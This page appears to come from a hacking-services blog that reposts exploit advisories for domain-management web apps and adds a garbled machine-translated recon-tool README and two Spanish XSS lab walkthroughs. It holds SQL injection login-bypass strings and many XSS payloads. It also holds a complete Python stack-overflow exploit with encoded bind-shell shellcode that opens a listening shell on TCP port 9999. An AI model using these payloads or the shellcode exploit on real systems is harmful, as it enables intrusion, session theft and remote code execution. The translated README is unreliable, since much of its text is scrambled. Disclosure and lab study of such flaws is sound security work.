Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863153261

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# # # # # 
# Exploit Title: Domains & Hostings Manager PRO v 3.0 - Authentication Bypass
# Date: 13.01.2018
# Vendor Homepage: http://endavi.com/
# Software Buy: https://codecanyon.net/item/advanced-domains-and-hostings-pro-v3-multiuser/10368735
# Demo: http://endavi.com/dhrpro_demo/
# Version: 3.0
# Tested on: Windows 10
# # # # # 
# Exploit Author: Tauco

Description :
While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.
In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions. 

POC
===================================================================================================
POST /dhrpro_demo/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

accusername=admin%27+or+%271%27%3D%271&accuserpassword=admin%27+or+%271%27%3D%271&login=+ENTER+

Login = admin' or '1'='1
Password   = admin' or '1'='1

Severity Level:
=========================================================
High

Description:
==========================================================
 
 
Request Method(s):              [+]  POST & GET
 
 
Vulnerable Product:             [+]  Domains & Hostings Manager PRO v 3.0
 
 
Vulnerable Parameter(s):        [+]  accusername, accuserpassword
HireHackking 
# # # # # 
# Exploit Title: Domains & Hostings Manager PRO v 3.0 - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://endavi.com/
# Software Buy: https://codecanyon.net/item/advanced-domains-and-hostings-pro-v3-multiuser/10368735
# Demo: http://endavi.com/dhrpro_demo/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/list.php?entries=[SQL]
# http://localhost/[PATH]/edit.php?entries=[SQL]
# # # # #
HireHackking 
# Exploit Title: DomainMod <= 4.13 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://domainmod.org/
# Version: <= 4.13
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-15811

The software 'DomainMOD' is vulnerable for Cross-Site Scripting in the
file '/reporting/domains/cost-by-month.php' in the parameter 'daterange'.

As of today (30 August 2019) this issue is unfixed.

Almost all other files that use the parameter 'daterange' are vulnerable.
See: https://github.com/domainmod/domainmod/tree/master/reporting/domains

Proof-of-Concept:

    https://domain.tld/reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(1)%22autofocus=%22
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19752

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the /assets/add/registrar-account.php page and inject a javascript XSS payload in registrar Name, registrar url & Notes fields 

"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/84
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19749

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01（https://github.com/domainmod/domainmod/issues/81）

After logging into the Domainmod application panel, browse to the
assets/add/account-owner.php page and inject a javascript XSS payload
in owner name field 

"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/81
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19751

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01（https://github.com/domainmod/domainmod/issues/83)
# After logging into the Domainmod application panel, browse to the /admin/ssl-fields/add.php page and inject a javascript XSS payload in Display Name, Description & Notes fields 

"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/83
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19750

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01（https://github.com/domainmod/domainmod/issues/82)
# After logging into the Domainmod application panel, browse to the /admin/domain-fields page, Click Add custom field, and inject a javascript XSS payload in Display Name, Description & Notes fields

"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/82
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19913


# A Stored Cross-site scripting (XSS) was discovered in DomainMod application versions from v4.09.03 to v4.11.01
After logging into the Domainmod application panel, browse to the /assets/add/registrar-accounts.php page and inject a javascript XSS
payload in UserName, Reseller ID & Notes fields 
"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/86
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20009

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/ssl-provider.php page and inject a javascript XSS payload
in ssl-provider-name, ssl-provider's-url "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/88
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20010

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/ssl-provider-account.php page and inject a javascript XSS
payload in username field "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/88
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-09
# Exploit Author: Dawood Ansar
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19136

# A Reflected Cross-site scripting (XSS) was discovered in DomainMod application 
# versions from v4.09.03 to v4.11.01（https://github.com/domainmod/domainmod/issues/79）
# After logging into the Domainmod application panel, browse to the assets/edit/register-account.php 
# page and inject a javascript XSS payload in raid parameter

# POC: 
http://127.0.0.1/assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert("XSS")%3C%2Fscript%3E&del=1
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19892

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# (https://github.com/domainmod/domainmod/issues/85)
# After logging into the Domainmod application panel, browse to the
# /admin/dw/add-server.php page and inject a javascript XSS payload in
# DisplayName, Username & host name fields 

"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20011

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/category.php page and inject a javascript XSS payload in
CatagoryName, StakeHolder fields "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/88
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Kareem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19915
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/edit/host.php?whid=5 page and inject a javascript XSS payload
in "Web Host Name" & "Web Host's url fields "><img src=x
onerror=alert("XSSed-By-Abdul-Kareem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/87
HireHackking 
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Kareem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19914
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
 /assets/add/dns.php page and inject a javascript XSS payload in
Profile Name & notes fields "><img src=x onerror=alert("XSSed-By-Abdul-Kareem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/87
HireHackking 
# Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/ssl-provider-account.php sslpaid parameter
# Date: 2018-05-28
# Exploit Author: longer（76439392@qq.com）
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11404
 
An issue was discovered in DomainMod v4.09.03.（https://github.com/domainmod/domainmod/issues/63）
After the user logged in, open the url:
http://127.0.0.1/assets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E
HireHackking 
# Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/account-owner.php oid parameter
# Date: 2018-05-28
# Exploit Author: longer（76439392@qq.com）
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11403
 
An issue was discovered in DomainMod v4.09.03.（https://github.com/domainmod/domainmod/issues/63）
After the user logged in, open the url :
http://127.0.0.1/assets/edit/account-owner.php?del=1&oid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28973761%29%3C/ScRiPt%3E
HireHackking

Domainim是用于组织网络扫描的快速域侦察工具。该工具旨在简要概述使用Osint，Bruteforcing，DNS Resolvation等技术，概述组织的结构。

功能

当前功能（v1.0.1） - 子域枚举（2个引擎+ bruteforcing） - 用户友好的输出- 解决记录（IPv4）

A fast and comprehensive tool for organizational network scanning (6)

A fast and comprehensive tool for organizational network scanning (7)

虚拟主机名枚举反向DNS查找A fast and comprehensive tool for organizational network scanning (8)

检测通配符子域（用于蛮力）A fast and comprehensive tool for organizational network scanning (9)

基本的TCP端口扫描子域被接受为输入A fast and comprehensive tool for organizational network scanning (10)

导出结果到JSON文件A fast and comprehensive tool for organizational network scanning (11)

有一些功能正在进行中。有关更多详细信息，请参见计划的功能。

该项目的灵感来自Sublist3r。端口扫描仪模块基于NIMSCAN。

安装

您可以从Source-克隆存储库中构建此仓库

git克隆[emailProtected] :pptx704/domainim构建二进制敏捷构建运行二进制二进制./domainim域[ - ports=ports]，或者，您只需从发布页面下载二进制文件即可。请记住，仅对基于Debian的系统对二进制进行测试。

用法

./domainim域[-ports=端口| -p:ports] [-wordlist=filename | l:fileName [-rps=int | -r:int]] [-dns=dns | -d:dns] [-out=filename | -O:fileName]域是要枚举的域。它也可以是一个子域。 - 端口| -p是要扫描的端口的字符串规范。它可以是以下- 全部- 扫描所有端口（1-65535）无- 跳过端口扫描（默认）TN -scan -scan tn -top n端口（与NMAP相同）。即T100扫描前100个端口。最大值为5000。如果n大于5000，则将设置为5000。单个值- 扫描单个端口。即80扫描端口80范围值- 扫描一系列端口。即80-100扫描端口80至100逗号分隔值- 扫描多个端口。即80,443,8080扫描端口80,443和8080组合- 扫描上述组合。即80,443,8080-8090，T500扫描端口80,443,8080至8090和前500个端口-DNS | -d是DNS服务器的地址。这应该是有效的IPv4地址，并且可以选择包含端口号A.B.C.D-在端口53 A.B.C.D＃N上使用A.B.C.D的DNS服务器- 在端口e -onderlist上使用A.B.C.D使用DNS Server | -l- WordList文件的路径。这用于蛮力子域。如果文件无效，则将跳过蛮力。您可以从秘书中获得单词列表。发行页中还提供了单词列表。 -rps | -r-蛮力期间每秒提出的请求数。默认值为1024 req/s。值得注意的是，DNS查询是分批进行的，仅在上一个完成后才进行下一个批次。由于Quries可以受到限制，因此增加值并不总是保证更快的结果。 - 出口| -o-输出文件的路径。输出将以JSON格式保存。文件名必须以.json结尾。 Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns=8.8.8.8#53 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt -outFile=results.json-- ./domainim mysite.com -ports=t50,5432,7000-9000 -dns=1.1.1.1.1

可以使用./domainim -help或./domainim -h访问帮助菜单。

用法:

domainim域[-ports=端口| -p:ports] [-wordlist=fileName | l:fileName [-rps=int | -R:INT]] [-DNS=DNS | -d:dns] [-out=filename | -O:FileName]

domainim（-h | -help）

Options:

-h， - 螺旋显示此屏幕。

-p， - 端口端口进行扫描。 [default:`none']

可以是``all'，`n'，`tn'，单个值，范围值，组合

-l， - 子域bruteforcing的词列表列表。突袭被跳过无效的文件。

-d， - DNS IP和DNS解析器的端口。应该是具有可选端口的有效IPv4 [Default:系统默认]

-r，-rps DNS查询每秒[default: 1024 req/s]

-o， - 输出JSON文件，将保存输出。文件名必须以“ .json”结尾

示例:

domainim domainim.com -p:t500 -l:wordlist.txt -dns:1.1.1.1.1＃53 -ET=results.json

domainim sub.domainim.com -ports=all -dns:8.8.8.8 -t:1500 -O3:Results.json结果json schema的结果如下-

[

{

'subdomain':字符串，

'data': [

'ipv4':字符串，

'vhosts': [string]，

'reverse_dns':字符串，

'ports': [int]

这是给出的

}

]可以在此处找到nmap.org的示例JSON。

欢迎

贡献

捐款。随时打开拉动请求或问题。

计划的功能

[x] TCP端口扫描[] UDP端口扫描支持[]解决AAAA记录（IPV6）[X]自定义DNS Server [X]使用WordList [] force ofert force bruteforcruction添加bruteForcorings [] DIR和文件拆除

其他人

[X]遇到错误（v0.2.0）[X]更新详细输出[x]显示了更长的操作的进度栏[]添加单个端口扫描进度栏[]添加测试[]添加测试[]添加注释和DocStrings

其他注释

此项目仍然处于早期阶段。我知道有几个局限性。

我正在使用的两个引擎（我称它们为引擎，因为Sublist3R这样做）当前具有某种响应限制。 dnsdumpster.com'dnsdumpster最多可以获取100个子域。 CRT.SH还会在结果过多的情况下随机将结果随机。 CRT.SH的另一个问题是，它有时会返回一些SQL错误。因此，对于某些域，对于不同的运行，结果可能会有所不同。我计划将来添加更多引擎（至少是蛮力引擎）。

端口扫描仪仅具有PING响应时间+ 750ms超时。这可能会导致虚假负面因素。由于Domainim并非用于端口扫描，而是为了提供快速概述，因此可以接受此类情况。但是，我计划添加一个标志来增加超时。出于同样的原因，未显示过滤的端口。对于更全面的端口扫描，我建议使用NMAP。 Domainim也不会绕过率限制（如果有的话）。

看来Vhostnames的打印方式似乎在桌子上带来了重新估计。

A fast and comprehensive tool for organizational network scanning (12)

以下印刷可能是更好的-

ack.nmap.org，essess.nmap.org，nmap.org，research.nmap.org，scannme.nmap.org，svn.nmap.org，www.nmap.org

↳45.33.49.119

↳反向DNS: ack.nmap.org。但是以前在测试时，我发现并非所有IP都通过相同的VhostNames共享。这就是为什么我决定以这种方式保持它的原因。

A fast and comprehensive tool for organizational network scanning (13)

DNS服务器可能具有某种限制速率。这就是为什么我为每个查询的IPv4添加随机延迟（在0-300ms之间）。这是不是要使DNS服务器立即获得所有查询，而是以更自然的方式获取所有查询。对于ButeForcing方法，默认情况下该值在0-1000ms之间，但可以使用-rps |可以更改该值。 -t标志。

困扰我的一个特殊限制是，DNS解析器不会将所有IP返回一个域。因此，有必要进行多个查询以获取全部（或大多数）IPS。但是话又说回来，不可能知道有多少个IP的域名。我仍然必须为此提出解决方案。另外，NIM-NDNS不支持CNAME记录。因此，如果域具有CNAME记录，将无法解决。我正在等待作者的回应。

目前，如果发现可能的通配符子域，则会跳过蛮力。这是因为，如果一个域具有通配符子域，则BruteForcing将解决所有可能的子域的IPv4。但是，这也会跳过有效的子域（即，即使不是通配符值，也会跳过scanme.nmap.org）。我将添加一个- 野蛮人| -fb旗以后迫使爆炸。

对于子域输入的VHOST枚举也是如此。由于以给定子域结束的URL返回，因此不考虑类似域的子域。例如，scannme.nmap.org不会为ack.nmap.org打印，而是可能是ack.nmap.org。我可以搜索nmap.org的所有子域，但这却打败了将子域作为输入的目的。

许可证

MIT许可证。有关全文，请参见许可证。

HireHackking 
source: https://www.securityfocus.com/bid/50454/info

Domain Shop is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php
Search Box
"><script>alert(document.domain)</script>
HireHackking 
# Exploit Title: Domain Quester Pro 6.02 - Stack Overflow (SEH)
# Date: 2019-12-26
# Exploit Author: boku
# Software Vendor: http://www.internet-soft.com/
# Software Link: http://www.internet-soft.com/DEMO/questerprosetup.exe
# Version: Version 6.02
# Tested on: Microsoft Windows 7 Enterprise - 6.1.7601 Service Pack 1 Build 7601 (x86-64)
# Recreate:
#   1) Generate 'bind9999.txt' payload using python 2.7.x
#   2) On target Windows machine, open the file 'bind9999.txt' with notepad, then Select-All & Copy
#   3) Install & Open Domain Quester Pro 6.02
#   4) Under 'Domain Name Keywords', click 'Add'
#      - A textbox will appear
#   5) Paste payload from generated txt file into textbox
#   6) Click 'OK'
#      - The program will freeze & a bind shell will be listening on tcp port 9999, on all interfaces

#!/usr/bin/python

File = 'bind9999.txt'
try:
    # SEH triggered by exception 'Access violation when reading [eax]'
    # - Crash at Instruction: 00403AB8    8B10       mov edx, dword ptr ds:[eax]
    # - EAX is overwritten by our overflow
    # - SEH overwriten at 4116 bytes
    # Bad Characters: '\x00\x02\x03\x04\x05\x06\x07\x08\x0a\x0c\x0d'
    # - The above bytes truncate the buffer
    nops     = '\x90'*400
    # msfvenom -p windows/shell_bind_tcp LPORT=9999 -v shellcode -a x86 --platform windows -b '\x00\x02\x03\x04\x05\x06\x07\x08\x0a\x0c\x0d' --format python
    #   x86/call4_dword_xor chosen with final size 352
    shellcode =  b""
    shellcode += b"\x2b\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0"
    shellcode += b"\x5e\x81\x76\x0e\xa3\xda\x2f\x1f\x83\xee\xfc"
    shellcode += b"\xe2\xf4\x5f\x32\xad\x1f\xa3\xda\x4f\x96\x46"
    shellcode += b"\xeb\xef\x7b\x28\x8a\x1f\x94\xf1\xd6\xa4\x4d"
    shellcode += b"\xb7\x51\x5d\x37\xac\x6d\x65\x39\x92\x25\x83"
    shellcode += b"\x23\xc2\xa6\x2d\x33\x83\x1b\xe0\x12\xa2\x1d"
    shellcode += b"\xcd\xed\xf1\x8d\xa4\x4d\xb3\x51\x65\x23\x28"
    shellcode += b"\x96\x3e\x67\x40\x92\x2e\xce\xf2\x51\x76\x3f"
    shellcode += b"\xa2\x09\xa4\x56\xbb\x39\x15\x56\x28\xee\xa4"
    shellcode += b"\x1e\x75\xeb\xd0\xb3\x62\x15\x22\x1e\x64\xe2"
    shellcode += b"\xcf\x6a\x55\xd9\x52\xe7\x98\xa7\x0b\x6a\x47"
    shellcode += b"\x82\xa4\x47\x87\xdb\xfc\x79\x28\xd6\x64\x94"
    shellcode += b"\xfb\xc6\x2e\xcc\x28\xde\xa4\x1e\x73\x53\x6b"
    shellcode += b"\x3b\x87\x81\x74\x7e\xfa\x80\x7e\xe0\x43\x85"
    shellcode += b"\x70\x45\x28\xc8\xc4\x92\xfe\xb2\x1c\x2d\xa3"
    shellcode += b"\xda\x47\x68\xd0\xe8\x70\x4b\xcb\x96\x58\x39"
    shellcode += b"\xa4\x25\xfa\xa7\x33\xdb\x2f\x1f\x8a\x1e\x7b"
    shellcode += b"\x4f\xcb\xf3\xaf\x74\xa3\x25\xfa\x75\xab\x83"
    shellcode += b"\x7f\xfd\x5e\x9a\x7f\x5f\xf3\xb2\xc5\x10\x7c"
    shellcode += b"\x3a\xd0\xca\x34\xb2\x2d\x1f\x84\xd5\xa6\xf9"
    shellcode += b"\xc9\xca\x79\x48\xcb\x18\xf4\x28\xc4\x25\xfa"
    shellcode += b"\x48\xcb\x6d\xc6\x27\x5c\x25\xfa\x48\xcb\xae"
    shellcode += b"\xc3\x24\x42\x25\xfa\x48\x34\xb2\x5a\x71\xee"
    shellcode += b"\xbb\xd0\xca\xcb\xb9\x42\x7b\xa3\x53\xcc\x48"
    shellcode += b"\xf4\x8d\x1e\xe9\xc9\xc8\x76\x49\x41\x27\x49"
    shellcode += b"\xd8\xe7\xfe\x13\x1e\xa2\x57\x6b\x3b\xb3\x1c"
    shellcode += b"\x2f\x5b\xf7\x8a\x79\x49\xf5\x9c\x79\x51\xf5"
    shellcode += b"\x8c\x7c\x49\xcb\xa3\xe3\x20\x25\x25\xfa\x96"
    shellcode += b"\x43\x94\x79\x59\x5c\xea\x47\x17\x24\xc7\x4f"
    shellcode += b"\xe0\x76\x61\xdf\xaa\x01\x8c\x47\xb9\x36\x67"
    shellcode += b"\xb2\xe0\x76\xe6\x29\x63\xa9\x5a\xd4\xff\xd6"
    shellcode += b"\xdf\x94\x58\xb0\xa8\x40\x75\xa3\x89\xd0\xca"
    jmp2nops   = '\xe8\xff\xff\xff\xff' # call +4       // This call will land us at the last \xff of our call instruction
    jmp2nops  += '\xc3'                 # ret/inc ebx   // Since EIP is at \xff after call, this will be interpruted as \xff\xc3 (inc ebx)
    jmp2nops  += '\x59'                 # pop ecx       // Pop the memory location from the call instruction that was pushed onto the stack into the ECX register
    jmp2nops  += '\x31\xd2'             # xor edx, edx  // Clear the EDX register. We are going to jump to the beginning of our buffer.
    jmp2nops  += '\x66\x81\xca\x04\x10' # or dx, 4090   // EDX is now equal to 0x00004100.
    jmp2nops  += '\x66\x29\xd1'         # sub ex, dx    // We subtract 4100 bytes from our memory location in the ECX register.
    jmp2nops  += '\xff\xe1'             # jmp ecx       // Now we jump back to the beginning of our buffer; into our NOP sled.
    offset     = '\x41' * (4116-len(nops+shellcode+jmp2nops))
    nSEH       = '\xeb\xeb\x90\x90'     # jmp short -22 (to jmp2nops)
    # 0x00400000 [questpro.exe]         | Rebase: False | ASLR: False | SafeSEH: False 
    # 0x0042666b [questpro.exe]         | pop ecx + pop ebp + ret  | {PAGE_EXECUTE_READ} 
    SEH        = '\x6b\x66\x42'         # SEH 3 byte overwrite
    payload    = nops+shellcode+offset+jmp2nops+nSEH+SEH
    f          = open(File, 'w')
    f.write(payload)
    f.close()
    print File + ' created successfully '
except:
    print File + ' failed to create'
HireHackking 
# # # # # 
# Exploit Title: Domain Marketplace Script - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: http://scripteen.com/
# Software: http://scripteen.com/item/scripts/scripteen-domain-marketplace-script.html
# Demo: http://dwm.domainauctionsscript.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?page=websites_for_sale&cat=[SQL]
# users :userId
# users :data
# users :payment_date
# users :expiration_date
# users :username
# users :password
# users :nume
# users :adresa
# Etc..
# # # # #
HireHackking

En este post vamos a estar resolviendo el laboratorio: “DOM XSS in jQuery selector sink using a hashchange event”:

image 43

Para resolver el laboratorio, tenemos que enviar a una víctima un exploit que aproveche la vulnerabilidad del laboratorio para ejecutar la función print().

Lo primero de todo es acceder al laboratorio:

image 44

En este caso, no vemos ninguna barra de búsqueda o página de feedback como ha ocurrido en otros retos de XSS. Sin embargo, si nos vamos al código fuente, nos encontramos con el siguiente trozo de código:

image 45

Este código, básicamente lo que hace es que cuando se especifica en la URL algo después de un hashtag, busca este valor en la web y hace un scroll hasta la coincidencia.

Por ejemplo, si nos vamos abajo del todo del laboratorio, podemos ver como hay un post que tiene la palabra “Resume” en el título:

image 46

Sabiendo esto, vamos a buscar por:

  • <URL>/#Resume
image 47

Damos enter.

image 48

Y aunque en la imagen no se pueda apreciar, nos redirige automáticamente hacia el post que contiene la palabra.

Para ver como explotar esto, vamos a traer el código de nuevo:

image 49

Como podemos observar, realmente lo que ocurre en el código, es que cuando especificamos algo después del hashtag, jQuery intenta busca un elemento h2 que contenga lo que hemos dicho. Cuando encuentra el elemento, este se almacena en la variable post, por lo que ahora, lo que contiene es un elemento de jQuery que se ve de la siguiente forma:

image 50

Posteriormente, si la variable post tiene algun dato almacenado, se obtiene el primer elemento del objeto jQuery y se usa el método scrollIntoView().

Aqui la vulnerabilidad como tal, se encuentra en la primera linea, en el selector sink de jQuery ($()):

image 51
image 52

Si no se sanitiza bien, lo que ocurre en aproximadamente en el código es lo siguiente:

  • $(‘section.blog-list h2:contains(‘ + decodeURIComponent(window.location.hash.slice(1)) + ‘)’);
  • $(‘section.blog-list h2:contains(‘ + Hola + ‘)’);

Por lo tanto, si ponemos un payload como el siguiente:

  • <img src=/ onerror=print()>

Mas o menos, ocurriría algo así:

  • $(‘section.blog-list h2:contains(‘ + <img src=/ onerror=print()> + ‘)’);

De esta forma, se interpretaría. Vamos a probarlo:

image 53

Damos enter:

image 54

Y efectivamente se ejecuta. Ahora tenemos que crear un exploit que mandemos a la víctima y se haga uso de esta vulnerabilidad. Para ello nos vamos al servidor del exploit:

image 55
image 56

En este caso, la idea es automatizar la explotación usando un simple <iframe>:

image 57

Antes de enviarlo vamos a ver como se vería:

image 58
image 59

La victima al visitar una web con nuestro código, vería lo que estamos viendo, un pequeño iframe de la web, e inmediatamente después de que cargase la web, se ejecutaría la función print():

image 60

Por lo que, viendo que funciona. Simplemente lo guardamos y lo enviamos a la víctima:

image 61
image 62

De esta forma, conseguimos resolver el laboratorio:

image 63
image 64

HireHackking

En este post vamos a estar resolviendo el laboratorio: “DOM XSS in jQuery anchor href attribute sink using location.search source”:

image 30

En este caso, para resolver el laboratorio tenemos que ejecutar un alert que nos devuelva las cookies.

Lo primero de todo es acceder al laboratorio:

image 31

Una vez accedidos, nos dirigimos a la parte de enviar feedback, ya que, en el enunciado es donde se nos indica que se encuentra el XSS:

image 32
image 33

Cuando accedemos, si nos fijamos en la URL, podemos ver que de forma por defecto se nos añade el parámetro returnPath:

image 34

Vamos a probar a añadirle cualquier valor al parámetro:

image 35

En principio no pasa nada, pero si ponemos el ratón encima del hiperenlace de “Back”:

image 36

Vemos como el valor que hemos colocado en la variable, se implemente en el atributo href de este elemento. Por lo que es tan sencillo como colocar un payload que nos ejecute el alert cuando demos click en el botón:

  • javascript:alert(document.cookie)
image 37

Como vemos, conseguimos resolver el laboratorio, y desde el punto de vista del código fuente, lo que hemos conseguido es lo siguiente:

image 38

Ahora, si damos click en el hiperenlace “Back”:

image 39

Se nos ejecutará el código Javascript que hemos indicado:

image 40

En este caso no nos sale nada porque la única cookie que tenemos, tiene la flag HTTPOnly habilitada:

